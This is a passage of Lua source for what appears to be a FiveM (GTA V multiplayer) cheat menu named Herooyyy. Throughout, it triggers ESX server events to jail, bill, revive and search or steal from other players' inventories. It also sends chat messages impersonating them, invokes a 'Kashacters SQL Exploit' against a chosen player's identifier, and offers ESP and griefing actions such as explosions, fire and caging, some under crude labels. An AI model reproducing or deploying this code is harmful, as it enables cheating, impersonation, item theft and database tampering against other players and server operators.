3349 Herooyyy.storedControls.aPOFlyingCars = not Herooyyy.storedControls.aPOFlyingCars
3350 elseif Herooyyy.checkBox('Freeze', Herooyyy.storedControls.aPOFreeze) then
3351 Herooyyy.storedControls.aPOFreeze = not Herooyyy.storedControls.aPOFreeze
3352 elseif Herooyyy.checkBox('Disable Driving Vehicles', Herooyyy.storedControls.aPODisableDrivingCars) then
3353 Herooyyy.storedControls.aPODisableDrivingCars = not Herooyyy.storedControls.aPODisableDrivingCars
3354 elseif Herooyyy.checkBox('Noisy Vehicles', Herooyyy.storedControls.aPONoisyVehs) then
3355 Herooyyy.storedControls.aPONoisyVehs = not Herooyyy.storedControls.aPONoisyVehs
3356 elseif Herooyyy.button('Run Everything ~r~(!)', 'Native') then
3357 pCreateThread(function()
3358 Herooyyy.functions.aPO.rapeVehicles()
3359 pWait(500)
3360 Herooyyy.functions.aPO.explodeCars()
3361 pWait(500)
3362 Herooyyy.functions.aPO.clonePeds()
3363 pWait(500)
3364 Herooyyy.functions.aPO.burnSFX()
3365 pWait(500)
3366 Herooyyy.functions.aPO.flyingCars()
3367 for key, value in pairs(Herooyyy.comboBoxes[4]._actual) do
3368 if type(value) ~= 'table' then
3369 Herooyyy.functions.aPO.spawnTrollProp(v)
3370 end
3371 Wait(500)
3372 end
3373 end)
3374 end
3375
3376 Herooyyy.runDrawMenu()
3377 elseif Herooyyy.isMenuOpened('allPlayersOptionsTriggers') then
3378 if Herooyyy.button('Jail', 'ESX | Server') then
3379 Herooyyy.functions.aPO.jail()
3380 elseif Herooyyy.button('Un-Jail', 'ESX | Server') then
3381 Herooyyy.functions.aPO.unJail()
3382 elseif Herooyyy.button('Community Service', 'ESX | Server') then
3383 Herooyyy.functions.aPO.communityService()
3384 elseif Herooyyy.button('Spawn Owned Vehicles', 'ESX | Server') then
3385 for yeet=0, #Herooyyy.natives.getActivePlayers() do
3386 Herooyyy.functions.sPO.SpawnLegalVehicle('blista', yeet, Herooyyy.trashFunctions.getRandomLetter(3) .. ' ' .. Herooyyy.trashFunctions.getRandomNumber(4))
3387 end
3388 end
3389
3390 Herooyyy.runDrawMenu()
3391 elseif Herooyyy.isMenuOpened('selectedPlayerOptions') then
3392 Herooyyy.setSubTitle('selectedPlayerOptions', '~b~['..GetPlayerServerId(selectedPlayer)..']~m~ '..GetPlayerName(selectedPlayer)..Herooyyy.trashFunctions.getPlayerStatus(GetPlayerPed(currentPlayer)))
3393 if Herooyyy.menuButton('Weapon Options', 'selectedPlayerOptionsWeapon') then
3394 elseif Herooyyy.menuButton('Troll Options', 'selectedPlayerOptionsTroll') then
3395 elseif Herooyyy.menuButton('Trigger Options', 'selectedPlayerOptionsTriggers') then
3396 elseif Herooyyy.button('Spectate', Herooyyy.storedControls.sPOIsSpectating and 'Spectating: ['..GetPlayerServerId(Herooyyy.storedControls.spectatedPlayer)..']' or 'Spectating: [-1]') then
3397 Herooyyy.storedControls.spectatedPlayer = selectedPlayer
3398 Herooyyy.functions.sPO.spectatePlayer(Herooyyy.storedControls.spectatedPlayer)
3399 elseif Herooyyy.button('Give Health', 'Native') then
3400 Herooyyy.natives.setEntityHealth(GetPlayerPed(selectedPlayer), 200)
3401 CreatePickup(GetHashKey('PICKUP_HEALTH_STANDARD'), GetEntityCoords(GetPlayerPed(selectedPlayer)))
3402 elseif Herooyyy.button('Give Armour', 'Native') then
3403 Herooyyy.natives.setPedArmour(GetPlayerPed(selectedPlayer), 200)
3404 CreatePickup(GetHashKey('PICKUP_ARMOUR_STANDARD'), GetEntityCoords(GetPlayerPed(selectedPlayer)))
3405 elseif Herooyyy.button('Teleport To', 'Native') then
3406 Herooyyy.functions.sPO.teleportToPlayer(selectedPlayer)
3407 elseif Herooyyy.button('Teleport Into Vehicle', 'Native') then
3408 Herooyyy.functions.sPO.teleportIntoVehicle(GetPlayerPed(selectedPlayer))
3409 elseif Herooyyy.button('Clone Vehicle', 'Native') then
3410 Herooyyy.functions.sPO.cloneVehicle(selectedPlayer)
3411 elseif Herooyyy.button('Clone Outfit', 'Native') then
3412 Herooyyy.functions.sPO.clonePedOutfit(Herooyyy.datastore.pLocalPlayer.pedId, GetPlayerPed(selectedPlayer))
3413 end
3414
3415 Herooyyy.runDrawMenu()
3416 elseif Herooyyy.isMenuOpened('selectedPlayerOptionsWeapon') then
3417 if Herooyyy.checkBox('Spawn As Pickup', Herooyyy.storedControls.weapSpawnAsPickup) then
3418 Herooyyy.storedControls.weapSpawnAsPickup = not Herooyyy.storedControls.weapSpawnAsPickup
3419 elseif Herooyyy.button('Give All Weapons', 'Native') then
3420 Herooyyy.functions.sPO.giveAllWeapons(Herooyyy.storedControls.weapSpawnAsPickup, GetPlayerPed(selectedPlayer))
3421 elseif Herooyyy.button('Remove All Weapons', 'Native') then
3422 Herooyyy.trashFunctions.reqControlOnce(GetPlayerPed(selectedPlayer))
3423 RemoveAllPedWeapons(GetPlayerPed(selectedPlayer), true)
3424 RemoveAllPedWeapons(GetPlayerPed(selectedPlayer), false)
3425 elseif Herooyyy.button('Give Ammo', 'Native') then
3426 for i = 1, #Herooyyy.trashTables.weaponsModels do
3427 AddAmmoToPed(GetPlayerPed(selectedPlayer), GetHashKey(Herooyyy.trashTables.weaponsModels[i]), 250)
3428 end
3429 end
3430
3431 for i = 1, #Herooyyy.trashTables.weaponsModels do
3432 if Herooyyy.button(Herooyyy.trashTables.weaponsModels[i]) then
3433 if Herooyyy.storedControls.weapSpawnAsPickup then
3434 CreatePickup(GetHashKey('PICKUP_'..Herooyyy.trashTables.weaponsModels[i]), GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId))
3435 else
3436 Herooyyy.natives.giveWeaponToPed(GetPlayerPed(selectedPlayer), GetHashKey(Herooyyy.trashTables.weaponsModels[i]), 250, false, true)
3437 end
3438 end
3439 end
3440
3441 Herooyyy.runDrawMenu()
3442 elseif Herooyyy.isMenuOpened('selectedPlayerOptionsTriggers') then
3443 if Herooyyy.button('Open Inventory', 'ESX | Client') then
3444 Herooyyy.dTCE(false, false, 'esx_inventoryhud:openPlayerInventory', GetPlayerServerId(selectedPlayer), GetPlayerName(selectedPlayer))
3445 elseif Herooyyy.button('Disc Search Inventory', 'ESX | Client') then
3446 Herooyyy.functions.sPO.SearchDisc(GetPlayerServerId(selectedPlayer))
3447 elseif Herooyyy.button('Disc Steal Inventory', 'ESX | Client') then
3448 Herooyyy.functions.sPO.StealDisc(GetPlayerServerId(selectedPlayer))
3449 elseif Herooyyy.button('Jail', 'ESX | Server') then
3450 local time = Herooyyy.trashFunctions.keyboardInput('Enter amount of time', '5391', 12)
3451 if Herooyyy.functions.game.isNullOrEmpty(time) then time = 5391 end
3452 Herooyyy.functions.sPO.jailTheFucker(GetPlayerServerId(selectedPlayer), time)
3453 elseif Herooyyy.button('Un-Jail', 'ESX | Server') then
3454 Herooyyy.functions.sPO.unJailTheFucker(GetPlayerServerId(selectedPlayer))
3455 elseif Herooyyy.button('Community Service', 'ESX | Server') then
3456 Herooyyy.functions.sPO.communityService(GetPlayerServerId(selectedPlayer))
3457 elseif Herooyyy.button('Send Bill', 'ESX | Server') then
3458 local billAmount = Herooyyy.trashFunctions.keyboardInput('Enter amount', '', 10)
3459 local billName = Herooyyy.trashFunctions.keyboardInput('Enter the name of the bill', '', 10)
3460 if not Herooyyy.functions.game.isNullOrEmpty(billAmount) and not Herooyyy.functions.game.isNullOrEmpty(billName) then
3461 if Herooyyy.functions.doesResourceExist('esx_billing') then
3462 Herooyyy.dTCE(false, true, 'esx_billing:sendBill', GetPlayerServerId(selectedPlayer), 'herooyyy', billName, billAmount)
3463 Herooyyy.dTCE(false, true, 'esx_billing:sendBill', GetPlayerServerId(selectedPlayer), 'herooyyy', billName, billAmount)
3464 else Herooyyy.pushNotification('Resource was not found!', 5000) end
3465 end
3466 elseif Herooyyy.button('Spawn Owned Vehicle', 'ESX | Server') then
3467 local ModelName = Herooyyy.trashFunctions.keyboardInput('Enter Vehicle Spawn Name', '', 20)
3468 local PlateNumber = Herooyyy.trashFunctions.keyboardInput('Enter Vehicle Plate Number', '', 8)
3469 Herooyyy.functions.sPO.SpawnLegalVehicle(ModelName, selectedPlayer, PlateNumber)
3470 elseif Herooyyy.button('Revive Player', 'ESX | Server') then
3471 Herooyyy.dTCE(false, true, 'esx_ambulancejob:revive', GetPlayerServerId(selectedPlayer))
3472 Herooyyy.dTCE(false, false, 'esx_ambulancejob:revive', GetPlayerServerId(selectedPlayer))
3473 elseif Herooyyy.button('Send Fake Message', 'Server') then
3474 local message = Herooyyy.trashFunctions.keyboardInput('Enter message to send', '', 100)
3475 if not Herooyyy.functions.game.isNullOrEmpty(message) then
3476 Herooyyy.dTCE(false, true, '_chat:messageEntered', GetPlayerName(selectedPlayer), {Herooyyy.mainColor.r,Herooyyy.mainColor.g,Herooyyy.mainColor.b}, message)
3477 end
3478 elseif Herooyyy.comboBox('Kashacters SQL Exploit', Herooyyy.menuTables.serverKashactersSQL.words, Herooyyy.menuTables.serverKashactersSQL.current, Herooyyy.menuTables.serverKashactersSQL.selected,
3479 function(currentIndex, selectedIndex)
3480 Herooyyy.menuTables.serverKashactersSQL.current = currentIndex
3481 Herooyyy.menuTables.serverKashactersSQL.selected = currentIndex
3482 Herooyyy.menuTables.serverKashactersSQL.actual = Herooyyy.menuTables.serverKashactersSQL.lists[Herooyyy.menuTables.serverKashactersSQL.selected]
3483 end)
3484 then
3485 if Herooyyy.datastore.ESX ~= nil then
3486 Herooyyy.datastore.ESX.TriggerServerCallback('esx_society:getOnlinePlayers', function(players)
3487 local xPlayer = nil
3488 for i = 1, #players do
3489 if players[i].name == GetPlayerName(selectedPlayer) then xPlayer = players[i] end
3490 end
3491
3492 if xPlayer then
3493 dir_print(Herooyyy.menuTables.serverKashactersSQL.actual)
3494 Herooyyy.functions.exploits.esx_kashacters(xPlayer.identifier, 'clean', Herooyyy.menuTables.serverKashactersSQL.actual)
3495 else
3496 dir_print('issue getting xPlayer')
3497 end
3498 end)
3499 else
3500 dir_print('issue getting ESX')
3501 end
3502 end
3503
3504 Herooyyy.runDrawMenu()
3505 elseif Herooyyy.isMenuOpened('selectedPlayerOptionsTroll') then
3506 if Herooyyy.button('Clear Animation/Tasks', 'Native') then
3507 Herooyyy.natives.clearPedTasksImmediately(GetPlayerPed(selectedPlayer))
3508 elseif Herooyyy.button('Burn Player ~w~', 'Native') then
3509 local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(selectedPlayer)))
3510 for i=0, 5 do
3511 StartScriptFire(x, y, z - 0.99, 25, true)
3512 end
3513 elseif Herooyyy.button('Rape Vehicle', 'Native') then
3514 local lastVehicle = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), false)
3515 Herooyyy.natives.clearPedTasksImmediately(GetPlayerPed(selectedPlayer))
3516 Herooyyy.functions.sPO.rapeVehicle(lastVehicle)
3517 elseif Herooyyy.button('Spawn Weapon Pickups', 'Native') then
3518 Herooyyy.functions.sPO.giveAllWeapons(true, GetPlayerPed(selectedPlayer))
3519 elseif Herooyyy.button('Spawn Enemies', 'Native') then
3520 Herooyyy.functions.sPO.spawnEnemies(GetPlayerPed(selectedPlayer), 'a_m_y_skater_01')
3521 elseif Herooyyy.button('Spawn Heli Enemies', 'Native') then
3522 Herooyyy.functions.sPO.spawnHeliEnemies(GetPlayerPed(selectedPlayer))
3523 elseif Herooyyy.button('Spawn Tank Enemy', 'Native') then
3524 Herooyyy.functions.sPO.spawnTankEnemy(GetPlayerPed(selectedPlayer))
3525 elseif Herooyyy.button('Cage', 'Native') then
3526 Herooyyy.functions.sPO.cagePlayer(GetPlayerPed(selectedPlayer))
3527 elseif Herooyyy.button('Explode ~r~(!)', 'Native') then
3528 local coords = GetEntityCoords(GetPlayerPed(selectedPlayer))
3529 Herooyyy.natives.addExplosion(coords.x+1, coords.y+1, coords.z+1, 4, 100.0, true, false, 0.0)
3530 elseif Herooyyy.comboBox('Shoot Player', {'Taze', 'Pistol', 'AK'}, Herooyyy.storedControls.sPOShootAtOptionsCurrent, Herooyyy.storedControls.sPOShootAtOptionsSelected,
3531 function(currentIndex, selectedIndex)
3532 Herooyyy.storedControls.sPOShootAtOptionsCurrent = currentIndex
3533 Herooyyy.storedControls.sPOShootAtOptionsSelected = currentIndex
3534 end) then
3535 if Herooyyy.storedControls.sPOShootAtOptionsSelected == 1 then
3536 Herooyyy.functions.sPO.shootAt(GetPlayerPed(selectedPlayer), 'WEAPON_STUNGUN')
3537 elseif Herooyyy.storedControls.sPOShootAtOptionsSelected == 2 then
3538 Herooyyy.functions.sPO.shootAt(GetPlayerPed(selectedPlayer), 'WEAPON_PISTOL')
3539 elseif Herooyyy.storedControls.sPOShootAtOptionsSelected == 3 then
3540 Herooyyy.functions.sPO.shootAt(GetPlayerPed(selectedPlayer), 'WEAPON_ASSAULTRIFLE')
3541 end
3542 elseif Herooyyy.comboBox('Spawn Props', Herooyyy.comboBoxes[4]._words, Herooyyy.comboBoxes[4]._current, Herooyyy.comboBoxes[4]._selected,
3543 function(currentIndex, selectedIndex)
3544 Herooyyy.comboBoxes[4]._current = currentIndex
3545 Herooyyy.comboBoxes[4]._selected = currentIndex
3546 end) then
3547 if type(Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected]) == 'table' then
3548 for key, value in pairs(Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected]) do
3549 Herooyyy.functions.sPO.spawnTrollProp(GetPlayerPed(selectedPlayer), Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected][key])
3550 end
3551 else
3552 Herooyyy.functions.sPO.spawnTrollProp(GetPlayerPed(selectedPlayer), Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected])
3553 end
3554 elseif Herooyyy.comboBox('Ram Vehicle', sPORamVehicleWords, sPORamVehicleCurrent, sPORamVehicleSelected,
3555 function(currentIndex, selectedIndex)
3556 sPORamVehicleCurrent = currentIndex
3557 sPORamVehicleSelected = currentIndex
3558 sPORamVehicleX = sPORamVehicleWords[currentIndex]
3559 end) then
3560 Herooyyy.functions.sPO.ramVehicle(GetPlayerPed(selectedPlayer), sPORamVehicleX)
3561 elseif Herooyyy.button('Fling Player ~r~(!)', Herooyyy.storedControls.sPOFlingPlayer and 'Flinging: ['..GetPlayerServerId(Herooyyy.storedControls.sPOFlingedPlayer)..']' or 'Flinging: [-1]') then
3562 Herooyyy.storedControls.sPOFlingPlayer = not Herooyyy.storedControls.sPOFlingPlayer
3563 Herooyyy.storedControls.sPOFlingedPlayer = selectedPlayer
3564 end
3565
3566 Herooyyy.runDrawMenu()
3567 elseif Herooyyy.isMenuOpened('visualOptions') then
3568 if Herooyyy.menuButton('Extra Sensory Perception', 'visualOptionsESP', '', {dict = 'mphud', text = 'spectating', color = {r=255, g=255, b=255}}) then
3569 elseif Herooyyy.comboBox('Crosshair', customCrosshairOpts, currentCustomCrosshair, selectedCustomCrosshair,
3570 function(currentIndex, selectedIndex)
3571 currentCustomCrosshair = currentIndex
3572 selectedCustomCrosshair = currentIndex
3573 end)
3574 then
3575 elseif Herooyyy.checkBox('Draw FPS', Herooyyy.storedControls.visDrawFPS) then
3576 Herooyyy.storedControls.visDrawFPS = not Herooyyy.storedControls.visDrawFPS
3577 elseif Herooyyy.checkBox('Show Coords', Herooyyy.storedControls.teleShowCoords) then
3578 Herooyyy.storedControls.teleShowCoords = not Herooyyy.storedControls.teleShowCoords
3579 elseif Herooyyy.checkBox('Force Player Blips', Herooyyy.storedControls.visPlayerBlips) then
3580 Herooyyy.storedControls.visPlayerBlips = not Herooyyy.storedControls.visPlayerBlips
3581 elseif Herooyyy.checkBox('Force Radar', Herooyyy.storedControls.visForceRadar) then
3582 Herooyyy.storedControls.visForceRadar = not Herooyyy.storedControls.visForceRadar
3583 elseif Herooyyy.checkBox('Force Gamertags', Herooyyy.storedControls.visForceGamertags) then
3584 Herooyyy.storedControls.visForceGamertags = not Herooyyy.storedControls.visForceGamertags
3585 elseif Herooyyy.checkBox('Force Third-person', Herooyyy.storedControls.visForceThirdperson) then
3586 Herooyyy.storedControls.visForceThirdperson = not Herooyyy.storedControls.visForceThirdperson
3587 elseif Herooyyy.checkBox('Blackout', Herooyyy.storedControls.visBlackout) then
3588 Herooyyy.storedControls.visBlackout = not Herooyyy.storedControls.visBlackout
3589 elseif Herooyyy.button('Optimize FPS', 'Native') then
3590 Herooyyy.functions.optimizeFPS()
3591 end
3592
3593 Herooyyy.runDrawMenu()
3594 elseif Herooyyy.isMenuOpened('visualOptionsESP') then
3595 if Herooyyy.checkBox('Enable', Herooyyy.storedControls.visESPEnable) then
3596 Herooyyy.storedControls.visESPEnable = not Herooyyy.storedControls.visESPEnable
3597 Herooyyy.functions.toggleESP()
3598 elseif Herooyyy.checkBox('ID', Herooyyy.storedControls.visESPShowID) then
3599 Herooyyy.storedControls.visESPShowID = not Herooyyy.storedControls.visESPShowID
3600 elseif Herooyyy.checkBox('Name', Herooyyy.storedControls.visESPShowName) then
3601 Herooyyy.storedControls.visESPShowName = not Herooyyy.storedControls.visESPShowName
3602 elseif Herooyyy.checkBox('Distance', Herooyyy.storedControls.visESPShowDistance) then
3603 Herooyyy.storedControls.visESPShowDistance = not Herooyyy.storedControls.visESPShowDistance
3604 elseif Herooyyy.checkBox('Weapon', Herooyyy.storedControls.visESPShowWeapon) then
3605 Herooyyy.storedControls.visESPShowWeapon = not Herooyyy.storedControls.visESPShowWeapon
3606 elseif Herooyyy.checkBox('Vehicle', Herooyyy.storedControls.visESPShowVehicle) then
3607 Herooyyy.storedControls.visESPShowVehicle = not Herooyyy.storedControls.visESPShowVehicle
3608 elseif Herooyyy.comboBoxSlider('ESP Refresh Rate', Herooyyy.storedControls.visualsESPRefreshRates, Herooyyy.storedControls.currentESPRefreshIndex, Herooyyy.storedControls.selectedESPRefreshIndex,
3609 function(currentIndex, selectedIndex)
3610 Herooyyy.storedControls.currentESPRefreshIndex = currentIndex
3611 Herooyyy.storedControls.selectedESPRefreshIndex = currentIndex
3612 if currentIndex == 1 then
3613 Herooyyy.storedControls.visualsESPRefreshRate = 0
3614 elseif currentIndex == 2 then
3615 Herooyyy.storedControls.visualsESPRefreshRate = 50
3616 elseif currentIndex == 3 then
3617 Herooyyy.storedControls.visualsESPRefreshRate = 150
3618 elseif currentIndex == 4 then
3619 Herooyyy.storedControls.visualsESPRefreshRate = 250
3620 elseif currentIndex == 5 then
3621 Herooyyy.storedControls.visualsESPRefreshRate = 500
3622 elseif currentIndex == 6 then
3623 Herooyyy.storedControls.visualsESPRefreshRate = 1000
3624 elseif currentIndex == 7 then
3625 Herooyyy.storedControls.visualsESPRefreshRate = 2000
3626 elseif currentIndex == 8 then
3627 Herooyyy.storedControls.visualsESPRefreshRate = 5000
3628 end
3629 end) then
3630 elseif Herooyyy.comboBoxSlider('ESP Distance', Herooyyy.storedControls.visualsESPDistanceOps, Herooyyy.storedControls.currentVisualsESPDistance, Herooyyy.storedControls.selectedVisualsESPDistance,
3631 function(currentIndex, selectedIndex)
3632 Herooyyy.storedControls.currentVisualsESPDistance = currentIndex
3633 Herooyyy.storedControls.selectedVisualsESPDistance = currentIndex
3634 Herooyyy.storedControls.visualsESPDistance = Herooyyy.storedControls.visualsESPDistanceOps[Herooyyy.storedControls.currentVisualsESPDistance]
3635 end) then
3636 end
3637
3638 Herooyyy.runDrawMenu()
3639 elseif Herooyyy.isMenuOpened('teleportOptions') then
3640 if Herooyyy.comboBox('Teleport To', {'Legion Square', 'Weed Farm', 'Meth Farm', 'Coke Farm', 'Money Wash', 'Mission Row PD'}, Herooyyy.storedControls.currentTeleportToOptions, Herooyyy.storedControls.selectedTeleportToOptions,
3641 function(currentIndex, selectedIndex)
3642 Herooyyy.storedControls.currentTeleportToOptions = currentIndex
3643 Herooyyy.storedControls.selectedTeleportToOptions = currentIndex
3644 end)
3645 then
3646 if Herooyyy.storedControls.selectedTeleportToOptions == 1 then
3647 Herooyyy.functions.teleportSelf(195.23, -934.04, 30.69)
3648 elseif Herooyyy.storedControls.selectedTeleportToOptions == 2 then
3649 Herooyyy.functions.teleportSelf(1066.009, -3183.386, -39.164)
3650 elseif Herooyyy.storedControls.selectedTeleportToOptions == 3 then
3651 Herooyyy.functions.teleportSelf(998.629, -3199.545, -36.394)
3652 elseif Herooyyy.storedControls.selectedTeleportToOptions == 4 then
3653 Herooyyy.functions.teleportSelf(1088.636, -3188.551, -38.993)
3654 elseif Herooyyy.storedControls.selectedTeleportToOptions == 5 then
3655 Herooyyy.functions.teleportSelf(1118.405, -3193.687, -40.394)
3656 elseif Herooyyy.storedControls.selectedTeleportToOptions == 6 then
3657 Herooyyy.functions.teleportSelf(441.56, -982.9, 30.69)
3658 end
3659 elseif Herooyyy.button('Teleport To Waypoint', 'Native') then
3660 Herooyyy.functions.teleportToWaypoint()
3661 end
3662
3663 Herooyyy.runDrawMenu()
3664 elseif Herooyyy.isMenuOpened('vehicleOptions') then
3665 if Herooyyy.menuButton('Los Santos Customs', 'vehicleLosSantosCustoms') then
3666 elseif Herooyyy.menuButton('Saved Vehicles', 'savedVehiclesOptions') then
3667 elseif Herooyyy.menuButton('Vehicle Spawn List', 'vehicleSpawnList') then
3668 elseif Herooyyy.checkBox('Godmode', Herooyyy.storedControls.vehGodmode) then
3669 Herooyyy.storedControls.vehGodmode = not Herooyyy.storedControls.vehGodmode
3670 Herooyyy.functions.repairVehicle(Herooyyy.datastore.pLocalPlayer.cVehicle)
3671 elseif Herooyyy.button('Repair Vehicle', 'Native') then
3672 Herooyyy.functions.repairVehicle(Herooyyy.datastore.pLocalPlayer.cVehicle)
3673 elseif Herooyyy.button('Clean Vehicle', 'Native') then
3674 SetVehicleDirtLevel(Herooyyy.datastore.pLocalPlayer.cVehicle, 0.0)
3675 elseif Herooyyy.button('Dirty Vehicle', 'Native') then
3676 SetVehicleDirtLevel(Herooyyy.datastore.pLocalPlayer.cVehicle, 15.0)
3677 elseif Herooyyy.button('Flip Vehicle', 'Native') then
3678 SetVehicleOnGroundProperly(Herooyyy.datastore.pLocalPlayer.cVehicle)
3679 elseif Herooyyy.button('Delete Vehicle', 'Native') then
3680 Herooyyy.functions.deleteVehicle(Herooyyy.datastore.pLocalPlayer.cVehicle)
3681 elseif Herooyyy.button('Delete Vehicles Within Radius', 'Native') then
3682 Herooyyy.functions.deleteVehicle(Herooyyy.datastore.pLocalPlayer.cVehicle, 100)
3683 elseif Herooyyy.comboBoxSlider('Engine Power Boost', Herooyyy.comboBoxes[3]._words, vehiclesEnginePowerBoostCurrent, vehiclesEnginePowerBoostSelected,
3684 function(currentIndex, selectedIndex)
3685 vehiclesEnginePowerBoostCurrent = currentIndex
3686 vehiclesEnginePowerBoostSelected = currentIndex
3687 end) then
3688 elseif Herooyyy.comboBoxSlider('Engine Torque Boost', Herooyyy.comboBoxes[3]._words, vehiclesEngineTorqueBoostCurrent, vehiclesEngineTorqueBoostSelected,
3689 function(currentIndex, selectedIndex)
3690 vehiclesEngineTorqueBoostCurrent = currentIndex
3691 vehiclesEngineTorqueBoostSelected = currentIndex
3692 end) then
3693 elseif Herooyyy.comboBox('Change Sound', Herooyyy.comboBoxes[2]._words, Herooyyy.comboBoxes[2]._current, Herooyyy.comboBoxes[2]._selected,
3694 function(currentIndex, selectedIndex)
3695 Herooyyy.comboBoxes[2]._current = currentIndex
3696 Herooyyy.comboBoxes[2]._selected = selectedIndex
3697 end) then
3698 ForceVehicleEngineAudio(GetVehiclePedIsIn(GetPlayerPed(-1), false), Herooyyy.comboBoxes[2]._words[Herooyyy.comboBoxes[2]._selected])
3699 elseif Herooyyy.comboBox('Suspension', Herooyyy.comboBoxes[1]._words, Herooyyy.comboBoxes[1]._current, Herooyyy.comboBoxes[1]._selected,
3700 function(currentIndex, selectedIndex)
3701 Herooyyy.comboBoxes[1]._current = currentIndex
3702 Herooyyy.comboBoxes[1]._selected = selectedIndex
3703 end) then
3704 local pVehicle = Herooyyy.datastore.pLocalPlayer.cVehicle
3705 if pVehicle and DoesEntityExist(pVehicle) then
3706 local currentSuspension = GetVehicleHandlingFloat(pVehicle, 'CHandlingData', 'fSuspensionRaise')
3707 if Herooyyy.comboBoxes[1]._words[Herooyyy.comboBoxes[1]._selected] == 'Lower' then
3708 SetVehicleHandlingFloat(pVehicle, 'CHandlingData', 'fSuspensionRaise', currentSuspension - 0.01)
3709 elseif Herooyyy.comboBoxes[1]._words[Herooyyy.comboBoxes[1]._selected] == 'Raise' then
3710 SetVehicleHandlingFloat(pVehicle, 'CHandlingData', 'fSuspensionRaise', currentSuspension + 0.01)
3711 end
3712 Herooyyy.functions.repairVehicle(pVehicle)
3713 end
3714 elseif Herooyyy.checkBox('No Fall', Herooyyy.storedControls.vehNoFall) then
3715 Herooyyy.storedControls.vehNoFall = not Herooyyy.storedControls.vehNoFall
3716 elseif Herooyyy.checkBox('Rainbow Paintjob', Herooyyy.storedControls.vehRainbowCol) then
3717 local storedPrimary, storedSecondary = nil
3718 if Herooyyy.storedControls.vehRainbowCol then
3719 ClearVehicleCustomPrimaryColour(Herooyyy.datastore.pLocalPlayer.cVehicle)
3720 ClearVehicleCustomSecondaryColour(Herooyyy.datastore.pLocalPlayer.cVehicle)
3721 SetVehicleColours(Herooyyy.datastore.pLocalPlayer.cVehicle, storedPrimary, storedSecondary)
3722 else
3723 storedPrimary, storedSecondary = GetVehicleColours(Herooyyy.datastore.pLocalPlayer.cVehicle)
3724 end
3725 Herooyyy.storedControls.vehRainbowCol = not Herooyyy.storedControls.vehRainbowCol
3726 elseif Herooyyy.checkBox('Rainbow Lights', Herooyyy.storedControls.vehRainbowLights) then
3727 Herooyyy.storedControls.vehRainbowLights = not Herooyyy.storedControls.vehRainbowLights
3728 elseif Herooyyy.checkBox('Wallride', Herooyyy.storedControls.vehWallride) then
3729 Herooyyy.storedControls.vehWallride = not Herooyyy.storedControls.vehWallride
3730 elseif Herooyyy.checkBox('2-Step Vehicle', Herooyyy.storedControls.veh2Step) then
3731 Herooyyy.storedControls.veh2Step = not Herooyyy.storedControls.veh2Step
3732 elseif Herooyyy.checkBox('Always Wheelie', Herooyyy.storedControls.vehAlwaysWheelie) then
3733 Herooyyy.storedControls.vehAlwaysWheelie = not Herooyyy.storedControls.vehAlwaysWheelie
3734 elseif Herooyyy.checkBox('Drift Smoke', Herooyyy.storedControls.vehDriftSmoke) then
3735 Herooyyy.storedControls.vehDriftSmoke = not Herooyyy.storedControls.vehDriftSmoke
3736 end
3737
3738 Herooyyy.runDrawMenu()
3739 elseif Herooyyy.isMenuOpened('weaponOptions') then
3740 if Herooyyy.menuButton('Give Single Weapon', 'weaponOptionsTypes') then
3741 elseif Herooyyy.menuButton('Modify Weapon', 'weaponOptionsModification') then
3742 elseif Herooyyy.button('Give All Weapons', 'Native') then
3743 Herooyyy.functions.sPO.giveAllWeapons(false, GetPlayerPed(-1))
3744 elseif Herooyyy.button('Remove All Weapons', 'Native') then
3745 RemoveAllPedWeapons(Herooyyy.datastore.pLocalPlayer.pedId, true)
3746 elseif Herooyyy.comboBox('Re-fill Ammo', {'Current', 'All'}, Herooyyy.storedControls.weaponsGiveAmmoCurrent, Herooyyy.storedControls.weaponsGiveAmmoSelected,
3747 function(currentIndex, selectedIndex)
3748 Herooyyy.storedControls.weaponsGiveAmmoCurrent = currentIndex
3749 Herooyyy.storedControls.weaponsGiveAmmoSelected = currentIndex
3750 end) then
3751 if Herooyyy.storedControls.weaponsGiveAmmoSelected == 1 then
3752 local retval, weaponHash = GetCurrentPedWeapon(GetPlayerPed(-1), true)
3753 AddAmmoToPed(GetPlayerPed(-1), weaponHash, 250)
3754 elseif Herooyyy.storedControls.weaponsGiveAmmoSelected == 2 then
3755 for i = 1, #Herooyyy.trashTables.weaponsModels do
3756 AddAmmoToPed(GetPlayerPed(-1), GetHashKey(Herooyyy.trashTables.weaponsModels[i]), 250)
3757 end
3758 end
3759 elseif Herooyyy.comboBox('Damage Multiplier', Herooyyy.storedControls.weaponsDamageMultiplier, Herooyyy.storedControls.weaponsDamageMultiplierCurrent, Herooyyy.storedControls.weaponsDamageMultiplierSelected,
3760 function(currentIndex, selectedIndex)
3761 Herooyyy.storedControls.weaponsDamageMultiplierCurrent = currentIndex
3762 Herooyyy.storedControls.weaponsDamageMultiplierSelected = currentIndex
3763 Herooyyy.storedControls.weaponsDamageMultiplierSet = intToFloat(Herooyyy.storedControls.weaponsDamageMultiplier[Herooyyy.storedControls.weaponsDamageMultiplierSelected])
3764 end) then
3765 end
3766
3767 Herooyyy.runDrawMenu()
3768 elseif Herooyyy.isMenuOpened('weaponOptionsModification') then
3769 if Herooyyy.checkBox('Custom Bullet', Herooyyy.storedControls.weapCustomBullet) then
3770 Herooyyy.storedControls.weapCustomBullet = not Herooyyy.storedControls.weapCustomBullet
3771 elseif Herooyyy.comboBox('Custom Bullets', Herooyyy.menuTables.weaponsCustomBullet.words, Herooyyy.menuTables.weaponsCustomBullet.current, Herooyyy.menuTables.weaponsCustomBullet.selected,
3772 function(currentIndex, selectedIndex)
3773 Herooyyy.menuTables.weaponsCustomBullet.current = currentIndex
3774 Herooyyy.menuTables.weaponsCustomBullet.selected = currentIndex
3775 Herooyyy.menuTables.weaponsCustomBullet.actual = Herooyyy.menuTables.weaponsCustomBullet.lists[Herooyyy.menuTables.weaponsCustomBullet.selected]
3776 end)
3777 then
3778 elseif Herooyyy.checkBox('Explosive Impact', Herooyyy.storedControls.weapExplosiveAmmo) then
3779 Herooyyy.storedControls.weapExplosiveAmmo = not Herooyyy.storedControls.weapExplosiveAmmo
3780 elseif Herooyyy.checkBox('Teleport To Impact', Herooyyy.storedControls.weapTeleportGun) then
